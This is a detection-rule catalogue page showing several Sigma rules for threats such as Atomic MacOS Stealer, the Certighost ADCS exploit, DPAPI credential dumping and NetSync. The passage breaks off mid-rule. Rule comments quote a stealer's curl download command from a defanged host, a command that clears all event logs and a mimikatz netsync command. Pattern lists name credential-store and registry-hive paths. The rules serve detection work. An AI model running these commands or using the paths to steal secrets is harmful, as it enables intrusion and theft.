Detection rules › Sigma

Sigma rules: 3j

RuleSeverity
Active Directory Computers Enumeration With Get-AdComputerlow
ADCS - Certighost Ghost Machine Account Creationhigh
Arbitrary File Download Via MSPUB.EXEmedium
Atomic MacOS Stealer - Persistence Indicatorshigh
AWS ElastiCache Security Group Createdlow
AWS IAM S3Browser User or AccessKey Creationhigh
Credentials (protected by DPAPI) dump via network sharehigh
Default Cobalt Strike Certificatehigh
Event log cleared using Diagnostics (via PowerShell)high
Execute Files with Msdeploy.exemedium
Granting Of Permissions To An Accountmedium
Invoke-Obfuscation Via Stdin - Systemhigh
Kavremover Dropped Binary LOLBIN Usagehigh
macOS Screen Sharing Sessionmedium
NetSYnc attackhigh
Potential Discovery Activity Via Dnscmd.EXEmedium
Potential Persistence Attempt Via Existing Service Tamperingmedium
Potentially Suspicious Rundll32.EXE Execution of UDL Filemedium
PowerShell Core DLL Loaded By Non PowerShell Processmedium
PsExec Service Child Process Execution as LOCAL SYSTEMhigh
Security Privileges Enumeration Via Whoami.EXEhigh
Sensitive File Access Via Volume Shadow Copy Backuphigh
Shai-Hulud 2.0 Malicious NPM Package Installation - Linuxhigh
Shell Execution Of Process Located In Tmp Directoryhigh
SQL server sqlcmd utility abuse for privilege escalationhigh
Suspicious Cabinet File Execution Via Msdt.EXEmedium
SyncAppvPublishingServer Execution to Bypass Powershell Restrictionmedium
System Information Discovery - Auditdlow
UAC Bypass Using .NET Code Profiler on MMChigh
Unsigned Image Loaded Into LSASS Processmedium
Use Short Name Path in Imagemedium
WebDav Put Requestlow
Windows Recall Feature Enabled Via Reg.EXEmedium
Winnti Malware HK University Campaigncritical
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Loadmedium

Active Directory Computers Enumeration With Get-AdComputer

#
Status
test
Severity
low
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Active Directory Computers Enumeration With Get-AdComputer
id: 36bed6b2-e9a0-4fff-beeb-413a92b86138
status: test
description: Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.
references:
    - https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
    - https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md
author: frack113
date: 2022-03-17
modified: 2023-07-08
tags:
    - attack.discovery
    - attack.t1018
    - attack.t1087.002
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_cmdlet:
        ScriptBlockText|contains: 'Get-AdComputer '
    selection_option:
        ScriptBlockText|contains:
            - '-Filter '
            - '-LDAPFilter '
            - '-Properties '
    condition: all of selection_*
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_cmdlet

selection_cmdlet:
    ScriptBlockText|contains: 'Get-AdComputer '

Stage 2: selection_option

selection_option:
    ScriptBlockText|contains:
        - '-Filter '
        - '-LDAPFilter '
        - '-Properties '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • -Filter
  • -LDAPFilter
  • -Properties
  • Get-AdComputer corpus 2 (sigma 2)
field:"ScriptBlockText" kind:match

ADCS - Certighost Ghost Machine Account Creation

#
Status
experimental
Severity
high
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the creation of a machine account whose name starts with 'GHOST', which is the naming convention used by the CVE-2026-54121 (Certighost) exploit tooling. The public proof-of-concept for Certighost creates a temporary machine account with a name of the form GHOST<random>$ before enrolling for a DC certificate via the cdc chase path. The attacker-controlled machine account is used as the requester identity in the certificate request; the cdc attribute then redirects the CA to a rogue host that returns a forged Domain Controller identity. The resulting certificate carries the DC's SID and DNS name, enabling full PKINIT authentication as the targeted DC followed by DCSync. A machine account creation event (4741) where TargetUserName starts with 'GHOST' and ends with '$' is a high-fidelity indicator of this attack tool's execution. Legitimate environments very rarely provision machine accounts with this prefix.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: ADCS - Certighost Ghost Machine Account Creation
id: fa0bac5f-d170-4a91-9780-1ad71dc1f49e
status: experimental
description: |
    Detects the creation of a machine account whose name starts with 'GHOST', which is the
    naming convention used by the CVE-2026-54121 (Certighost) exploit tooling.

    The public proof-of-concept for Certighost creates a temporary machine account with a
    name of the form GHOST<random>$ before enrolling for a DC certificate via the cdc chase
    path. The attacker-controlled machine account is used as the requester identity in the
    certificate request; the cdc attribute then redirects the CA to a rogue host that returns
    a forged Domain Controller identity. The resulting certificate carries the DC's SID and
    DNS name, enabling full PKINIT authentication as the targeted DC followed by DCSync.

    A machine account creation event (4741) where TargetUserName starts with 'GHOST' and
    ends with '$' is a high-fidelity indicator of this attack tool's execution. Legitimate
    environments very rarely provision machine accounts with this prefix.
references:
    - https://github.com/aniqfakhrul/CVE-2026-54121
    - https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-07-30
tags:
    - attack.privilege-escalation
    - attack.credential-access
    - attack.persistence
    - attack.t1136.002
    - attack.t1649
    - cve.2026-54121
    - detection.emerging-threats
logsource:
    product: windows
    service: security
    definition: |
        Requirements:
            Audit Policy : Account Management > Audit Computer Account Management
detection:
    selection:
        EventID: 4741
        TargetUserName|startswith: 'GHOST'
        TargetUserName|endswith: '$'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4741
    TargetUserName|startswith: 'GHOST'
    TargetUserName|endswith: '$'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetUserNameends_with
  • $ corpus 11 (sigma 7, splunk 2, kusto 2)
field:"TargetUserName" kind:ends_with value:"$"
TargetUserNamestarts_with
  • GHOST
field:"TargetUserName" kind:starts_with value:"GHOST"

Arbitrary File Download Via MSPUB.EXE

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Arbitrary File Download Via MSPUB.EXE
id: 3b3c7f55-f771-4dd6-8a6e-08d057a17caf
status: test
description: Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files
references:
    - https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-19
modified: 2023-02-08
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\MSPUB.exe'
        - OriginalFileName: 'MSPUB.exe'
    selection_cli:
        CommandLine|contains:
            - 'ftp://'
            - 'http://'
            - 'https://'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\MSPUB.exe'
    - OriginalFileName: 'MSPUB.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - 'ftp://'
        - 'http://'
        - 'https://'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • ftp:// corpus 12 (sigma 11, elastic 1)
  • http:// corpus 20 (sigma 18, elastic 1, splunk 1)
  • https:// corpus 20 (sigma 18, elastic 1, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \MSPUB.exe corpus 10 (sigma 10)
field:"Image" kind:ends_with value:"\MSPUB.exe"
OriginalFileNameeq
  • MSPUB.exe corpus 3 (sigma 2, elastic 1)
field:"OriginalFileName" kind:eq value:"MSPUB.exe"

Atomic MacOS Stealer - Persistence Indicators

#
Status
experimental
Severity
high
Author
Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
Source
github.com/SigmaHQ/sigma

Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Atomic MacOS Stealer - Persistence Indicators
id: e710a880-1f18-4417-b6a0-b5afdf7e3023
status: experimental
description: |
    Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
references:
    - https://moonlock.com/amos-backdoor-persistent-access
    - https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44
author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
date: 2025-11-22
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1564.001
    - attack.t1543.004
    - detection.emerging-threats
logsource:
    category: file_event
    product: macos
detection:
    selection_user_helper:
        # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
        Image|endswith: '/curl'
        TargetFilename|startswith: '/Users/'
        TargetFilename|endswith: '.helper'
    selection_launchdaemon:
        TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_user_helper

selection_user_helper:
    Image|endswith: '/curl'
    TargetFilename|startswith: '/Users/'
    TargetFilename|endswith: '.helper'

Stage 2: selection_launchdaemon

selection_launchdaemon:
    TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'

Indicators

These rows show field, operator, and value matches.

AWS ElastiCache Security Group Created

#
Status
test
Severity
low
Author
Austin Songer @austinsonger
Source
github.com/SigmaHQ/sigma

Detects when an ElastiCache security group has been created.

Known False Positives

  • A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: AWS ElastiCache Security Group Created
id: 4ae68615-866f-4304-b24b-ba048dfa5ca7
status: test
description: Detects when an ElastiCache security group has been created.
references:
    - https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml
author: Austin Songer @austinsonger
date: 2021-07-24
modified: 2022-10-09
tags:
    - attack.persistence
    - attack.t1136
    - attack.t1136.003
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: elasticache.amazonaws.com
        eventName: 'CreateCacheSecurityGroup'
    condition: selection
falsepositives:
    - A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.


level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    eventSource: elasticache.amazonaws.com
    eventName: 'CreateCacheSecurityGroup'

Indicators

These rows show field, operator, and value matches.

AWS IAM S3Browser User or AccessKey Creation

#
Status
test
Severity
high
Author
daniel.bohannon@permiso.io (@danielhbohannon)
Source
github.com/SigmaHQ/sigma

Detects S3 Browser utility creating IAM User or AccessKey.

Known False Positives

  • Valid usage of S3 Browser for IAM User and/or AccessKey creation

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: AWS IAM S3Browser User or AccessKey Creation
id: db014773-d9d9-4792-91e5-133337c0ffee
status: test
description: Detects S3 Browser utility creating IAM User or AccessKey.
references:
    - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
author: daniel.bohannon@permiso.io (@danielhbohannon)
date: 2023-05-17
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1059.009
    - attack.t1078.004
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'iam.amazonaws.com'
        eventName:
            - 'CreateUser'
            - 'CreateAccessKey'
        userAgent|contains: 'S3 Browser'
    condition: selection
falsepositives:
    - Valid usage of S3 Browser for IAM User and/or AccessKey creation
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    eventSource: 'iam.amazonaws.com'
    eventName:
        - 'CreateUser'
        - 'CreateAccessKey'
    userAgent|contains: 'S3 Browser'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • CreateAccessKey corpus 6 (sigma 4, splunk 2)
  • CreateUser corpus 3 (sigma 3)
field:"aws::eventName" kind:eq
eventSourceeq
  • iam.amazonaws.com corpus 22 (sigma 18, splunk 4)
field:"aws::eventSource" kind:eq value:"iam.amazonaws.com"
userAgentmatch
  • S3 Browser corpus 3 (sigma 3)
field:"userAgent" kind:match value:"S3 Browser"

Credentials (protected by DPAPI) dump via network share

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempt to dump DPAPI credentials (Windows Vault, Chrome, RDP, WiFi, Emails, ...) or registry hives via network share via tools like DonPAPI.

Known False Positives

  • None

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Credentials (protected by DPAPI) dump via network share
description: Detects scenarios where an attacker attempt to dump DPAPI credentials (Windows Vault, Chrome, RDP, WiFi, Emails, ...) or registry hives via network share via tools like DonPAPI.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/EVTX_full_APT_attack_steps
- https://github.com/login-securite/DonPAPI
- https://hackinparis.com/data/slides/2019/talks/HIP2019-Paula_Januszkiewicz-Dpapi_And_Dpapi_Ng_Decrypting_All_Users_Secrets_And_Pfx_Passwords.pdf
- https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets
- https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords
tags:
- attack.credential_access
- attack.t1555.004
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\C$'
    RelativeTargetName|contains:
    # WIFI
    - '\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\'
    # Registry hives (security, system, sofware)
    - '\Windows\System32\config\SECURITY'
    - '\Windows\System32\config\SOFTWARE'
    - '\Windows\System32\config\SYSTEM'
    # Vault
    - '\AppData\Local\Microsoft\Vault\'
    - '\ProgramData\Microsoft\Vault\'
    - '\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\'
    # Credentials
    - '\AppData\Local\Microsoft\Credentials\'
    - '\AppData\Roaming\Microsoft\Credentials\'
    - '\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\'
    # DPAPI keys
    - '\AppData\Roaming\Microsoft\Protect\'
    - '\Windows\System32\Microsoft\Protect\'
  condition: selection
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 5145
  ShareName: '\\*\C$'
  RelativeTargetName|contains:
  - '\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\'
  - '\Windows\System32\config\SECURITY'
  - '\Windows\System32\config\SOFTWARE'
  - '\Windows\System32\config\SYSTEM'
  - '\AppData\Local\Microsoft\Vault\'
  - '\ProgramData\Microsoft\Vault\'
  - '\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\'
  - '\AppData\Local\Microsoft\Credentials\'
  - '\AppData\Roaming\Microsoft\Credentials\'
  - '\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\'
  - '\AppData\Roaming\Microsoft\Protect\'
  - '\Windows\System32\Microsoft\Protect\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
RelativeTargetNamematch
  • \AppData\Local\Microsoft\Credentials\
  • \AppData\Local\Microsoft\Vault\
  • \AppData\Roaming\Microsoft\Credentials\
  • \AppData\Roaming\Microsoft\Protect\
  • \ProgramData\Microsoft\Vault\
  • \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\
  • \Windows\System32\Microsoft\Protect\
  • \Windows\System32\config\SECURITY
  • \Windows\System32\config\SOFTWARE
  • \Windows\System32\config\SYSTEM
  • \Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
  • \Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
field:"RelativeTargetName" kind:match
ShareNamewildcard
  • \\*\C$ corpus 7 (sigma 7)
field:"ShareName" kind:wildcard value:"\\*\C$"

Default Cobalt Strike Certificate

#
Status
test
Severity
high
Author
Bhabesh Raj
Source
github.com/SigmaHQ/sigma

Detects the presence of default Cobalt Strike certificate in the HTTPS traffic

MITRE ATT&CK Coverage

TacticTechniques
Command & ControlNo specific technique

Rule Body

title: Default Cobalt Strike Certificate
id: 7100f7e3-92ce-4584-b7b7-01b40d3d4118
status: test
description: Detects the presence of default Cobalt Strike certificate in the HTTPS traffic
references:
    - https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468
author: Bhabesh Raj
date: 2021-06-23
modified: 2022-10-09
tags:
    - attack.command-and-control
    - attack.s0154
logsource:
    product: zeek
    service: x509
detection:
    selection:
        certificate.serial: 8BB00EE
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    certificate.serial: 8BB00EE

Indicators

These rows show field, operator, and value matches.

Event log cleared using Diagnostics (via PowerShell)

#
Status
stable
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to clear the event logs.

Known False Positives

  • None

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Event log cleared using Diagnostics (via PowerShell)
description: Detects scenarios where an attacker attempts to clear the event logs.
references:
- hhttps://www.linkedin.com/feed/update/urn:li:activity:7143833994139283456/
- https://dscottraynsford.wordpress.com/2015/04/09/clear-all-windows-event-logs/
tags:
- attack.defense_evasion
- attack.t1070.001
author: mdecrevoisier
status: stable
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "get-winevent -ListLog * | % { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- None
level: high

Stages and Predicates

Stage 0: condition

selection_powershell_native or selection_powershell_modern or selection_powershell_block

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains|all:
    - System.Diagnostics.Eventing.Reader.EventLogSession
    - ClearLog

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains|all:
    - System.Diagnostics.Eventing.Reader.EventLogSession
    - ClearLog

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains|all:
    - System.Diagnostics.Eventing.Reader.EventLogSession
    - ClearLog

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventDatamatch
  • ClearLog
  • System.Diagnostics.Eventing.Reader.EventLogSession
field:"EventData" kind:match
Payloadmatch
  • ClearLog
  • System.Diagnostics.Eventing.Reader.EventLogSession
field:"Payload" kind:match
ScriptBlockTextmatch
  • ClearLog corpus 2 (sigma 2)
  • System.Diagnostics.Eventing.Reader.EventLogSession
field:"ScriptBlockText" kind:match

Execute Files with Msdeploy.exe

#
Status
test
Severity
medium
Author
Beyu Denis, oscd.community
Source
github.com/SigmaHQ/sigma

Detects file execution using the msdeploy.exe lolbin

Known False Positives

  • System administrator Usage

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Execute Files with Msdeploy.exe
id: 646bc99f-6682-4b47-a73a-17b1b64c9d34
status: test
description: Detects file execution using the msdeploy.exe lolbin
references:
    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/
    - https://twitter.com/pabraeken/status/995837734379032576
    - https://twitter.com/pabraeken/status/999090532839313408
author: Beyu Denis, oscd.community
date: 2020-10-18
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'verb:sync'
            - '-source:RunCommand'
            - '-dest:runCommand'
        Image|endswith: '\msdeploy.exe'
    condition: selection
falsepositives:
    - System administrator Usage
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - 'verb:sync'
        - '-source:RunCommand'
        - '-dest:runCommand'
    Image|endswith: '\msdeploy.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -dest:runCommand
  • -source:RunCommand
  • verb:sync
field:"CommandLine" kind:match
Imageends_with
  • \msdeploy.exe
field:"Image" kind:ends_with value:"\msdeploy.exe"

Granting Of Permissions To An Account

#
Status
test
Severity
medium
Author
sawwinnnaung
Source
github.com/SigmaHQ/sigma

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

Known False Positives

  • Valid change

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Granting Of Permissions To An Account
id: a622fcd2-4b5a-436a-b8a2-a4171161833c
status: test
description: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.
references:
    - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml
author: sawwinnnaung
date: 2020-05-07
modified: 2023-10-11
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098.003
logsource:
    product: azure
    service: activitylogs
detection:
    keywords:
        - Microsoft.Authorization/roleAssignments/write
    condition: keywords
falsepositives:
    - Valid change
level: medium

Stages and Predicates

Stage 0: condition

keywords

Stage 1: keywords

keywords:
    - Microsoft.Authorization/roleAssignments/write

Invoke-Obfuscation Via Stdin - System

#
Status
test
Severity
high
Author
Nikita Nazarov, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated Powershell via Stdin in Scripts

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation Via Stdin - System
id: 487c7524-f892-4054-b263-8a0ace63fc25
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)(set).*&&\s?set.*(environment|invoke|\${?input).*&&.*"'
        ImagePath|contains|all:
            - 'set'
            - '&&'
        ImagePath|contains:
            - 'environment'
            - 'invoke'
            - 'input'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: 'Service Control Manager'
    EventID: 7045
    ImagePath|contains|all:
        - 'set'
        - '&&'
    ImagePath|contains:
        - 'environment'
        - 'invoke'
        - 'input'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImagePathmatch
  • && corpus 4 (sigma 4)
  • environment
  • input corpus 2 (sigma 2)
  • invoke corpus 2 (sigma 2)
  • set
field:"ImagePath" kind:match
Provider_Nameeq
  • Service Control Manager corpus 50 (sigma 50)
field:"Provider_Name" kind:eq value:"Service Control Manager"

Kavremover Dropped Binary LOLBIN Usage

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Kavremover Dropped Binary LOLBIN Usage
id: d047726b-c71c-4048-a99b-2e2f50dc107d
status: test
description: Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.
references:
    - https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-11-01
tags:
    - attack.execution
    - attack.stealth
    - attack.t1127
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains: ' run run-cmd '
    filter_main_legit_parents:
        ParentImage|endswith:
            - '\cleanapi.exe' # When launched from KES installer
            - '\kavremover.exe' # When launched from kavremover.exe
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    CommandLine|contains: ' run run-cmd '

Stage 2: not filter_main_legit_parents

filter_main_legit_parents:
    ParentImage|endswith:
        - '\cleanapi.exe'
        - '\kavremover.exe'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ParentImageends_with\cleanapi.exeexcludes:ParentImage field:"ParentImage" value:"\cleanapi.exe"
ParentImageends_with\kavremover.exeexcludes:ParentImage field:"ParentImage" value:"\kavremover.exe"

macOS Screen Sharing Session

#
Status
experimental
Severity
medium
Author
Eric Brown - Nebulock, Inc.
Source
github.com/Nebulock-Inc/macos-coresigma

Detects screen sharing session attachment and detachment events. Screen sharing can be used for legitimate remote administration or by attackers for initial access and lateral movement. Monitor for unexpected or unauthorized sessions.

Known False Positives

  • Legitimate IT support and remote administration
  • User-initiated screen sharing for collaboration
  • Automated management tools

MITRE ATT&CK Coverage

Rule Body

title: macOS Screen Sharing Session
id: 1684f3e3-d701-477f-be1b-7169dba38f91
status: experimental
description: 'Detects screen sharing session attachment and detachment events. Screen
  sharing

  can be used for legitimate remote administration or by attackers for initial

  access and lateral movement. Monitor for unexpected or unauthorized sessions.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1021/005/
- https://attack.mitre.org/techniques/T1563/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection_attach:
    esf.event_type: 135
    event.action: screensharing_attach
  selection_detach:
    esf.event_type: 136
    event.action: screensharing_detach
  condition: selection_attach or selection_detach
falsepositives:
- Legitimate IT support and remote administration
- User-initiated screen sharing for collaboration
- Automated management tools
fields:
- event_type
- event_name
- User
- source_ip
- session_id
tags:
- attack.initial_access
- attack.t1021.005
- attack.lateral_movement
- attack.t1563
level: medium

Stages and Predicates

Stage 0: condition

selection_attach or selection_detach

Stage 1: selection_attach

selection_attach:
  esf.event_type: 135
  event.action: screensharing_attach

Stage 2: selection_detach

selection_detach:
  esf.event_type: 136
  event.action: screensharing_detach

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
esf.event_typeeq
  • 135
  • 136
field:"esf.event_type" kind:eq
event.actioneq
  • screensharing_attach
  • screensharing_detach
field:"EventType" kind:eq

NetSYnc attack

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

NetSync allows an attacker to take the NTLM hash of a Domain Controller (DC) machine account ("usually" identified by ending in "$") and using it to obtain the NTLM machine account hash of another machine account through impersonation (similar to, but different from, DCSync). Where DCSync can obtain user account passwords, NetSync is limited to machine accounts. The other main differentiator between DCSync and NetSync is that DCSync will make use of Microsoft's Directory Replication Service (DRS) Remote Protocol, whereas NetSync uses the older Netlogon Remote Protocol (MS-NRPC)

Known False Positives

  • Exchange servers

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: NetSYnc attack
description: NetSync allows an attacker to take the NTLM hash of a Domain Controller (DC) machine account ("usually" identified by ending in "$") and using it to obtain the NTLM machine account hash of another machine account through impersonation (similar to, but different from, DCSync). Where DCSync can obtain user account passwords, NetSync is limited to machine accounts. The other main differentiator between DCSync and NetSync is that DCSync will make use of Microsoft's Directory Replication Service (DRS) Remote Protocol, whereas NetSync uses the older Netlogon Remote Protocol (MS-NRPC)
correlation: ID 5145 SubjectLogonId 0x1f4a6c852 AND ID 4624 TargetLogonId 0x1f4a6c852
references:
- https://github.com/Neo23x0/sigma/blob/c56cd2dfff6343f3694ef4fd606a305415599737/rules-unsupported/win_dumping_ntdsdit_via_netsync.yml
- https://fr.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
- https://www.trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1/
- https://www.trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-2/
tags:
- attack.credential_access
- attack.t1003.006
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection: #  lsadump::netsync /dc:<dc_fqdn> /user:dc1$ /ntlm:<ntlmhash> /account:srv02$

  selection_login:
